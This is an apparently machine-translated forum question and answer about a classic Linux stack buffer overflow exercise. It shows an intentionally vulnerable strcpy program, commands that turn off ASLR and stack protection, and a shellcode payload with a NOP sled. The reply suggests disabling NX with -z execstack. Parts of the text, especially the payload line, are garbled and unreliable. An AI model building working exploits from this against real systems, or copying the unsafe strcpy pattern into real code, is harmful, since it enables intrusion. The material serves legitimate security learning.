C 缓冲区溢出应该可以工作,但会导致SIGSEGV错误
我在看一个关于如何在linux上执行缓冲区溢出的教程。在我试着做最后一件事之前,一切都很顺利。我在谷歌上搜索了又搜索,但没有找到任何有用的东西 我的缓冲区溢出可利用的C代码(可利用的.C):C 缓冲区溢出应该可以工作,但会导致SIGSEGV错误,c,stack,buffer-overflow,C,Stack,Buffer Overflow,我在看一个关于如何在linux上执行缓冲区溢出的教程。在我试着做最后一件事之前,一切都很顺利。我在谷歌上搜索了又搜索,但没有找到任何有用的东西 我的缓冲区溢出可利用的C代码(可利用的.C): #包括 int main(int argc,字符**argv) { char-buf[500]; strcpy(buf,argv[1]); 返回0; } 我是如何编译的: 我删除了va_空间的随机化(不确定它是做什么的,但我知道它允许缓冲区溢出):echo 0>/proc/sys/kernel/rando
#包括
int main(int argc,字符**argv)
{
char-buf[500];
strcpy(buf,argv[1]);
返回0;
}
我是如何编译的:
echo 0>/proc/sys/kernel/randomize__空间
gcc-fno stack protector-mprefered stack boundary=2-o可利用的可利用的可利用的.c
/bin/bash
shell:
[代码>主要代码<<代码>主要代码>主要代码>主要可开采的美元(红红宝石-e“e”e“e”e“e”e“e”e“e”e“e”e”的主要代码>主要代码>主要可开采的美元(红宝石-e“e”e“e”e“e”e“e”e”e“e”e“e”e”e“e”e“e”的”e“e”e“e“e”的”e“e“e”的”的”打印”的”的”的”e“e”e“e“e”的”e“e“e“e”的”e”的”的”的”e“e“e“e“e“e”的”的”的”的”的”的”的”的”的”的”的“e“e“e“e“e“e“e”的”的”的”的”的”的”的”的”的”的”的”的”的”的xf0\x8a\xa2\x68“+“\x98\x24\x35\x8f\x08\x51\x4f\x50\xad\xa1\x60\x32\xc4\xcf”+“\x51\xd0\x77\x63\xc5\x14\x2f\xd0\x9c\xf4\x02\x56”+“\x90”*210+“\x44\xf1\xff\xbf””)$eip
被正确设置为0xbffff144
(我第一轮NOP的中间部分)。出于某种原因,这给了我一个SIGSEGV错误:
我不知道我是否做错了什么,或者是否还有一个故障保护必须关闭。可能是gcc选项(对于链接器)
-z execstack
禁用NX。您应该使堆栈可执行。这可能是您的问题的一部分
另外,如果你想要一个关于缓冲区溢出的好参考,我建议你读一读Man I am Study…我怎么能忘记这一点!你知道没有NX,最好没有任何其他编译器的东西,有什么方法可以使这项工作正常进行,因为我不知道有多少人会像这样编译他们的C程序。
#include <string.h>
int main(int argc, char** argv)
{
char buf[500];
strcpy(buf, argv[1]);
return 0;
}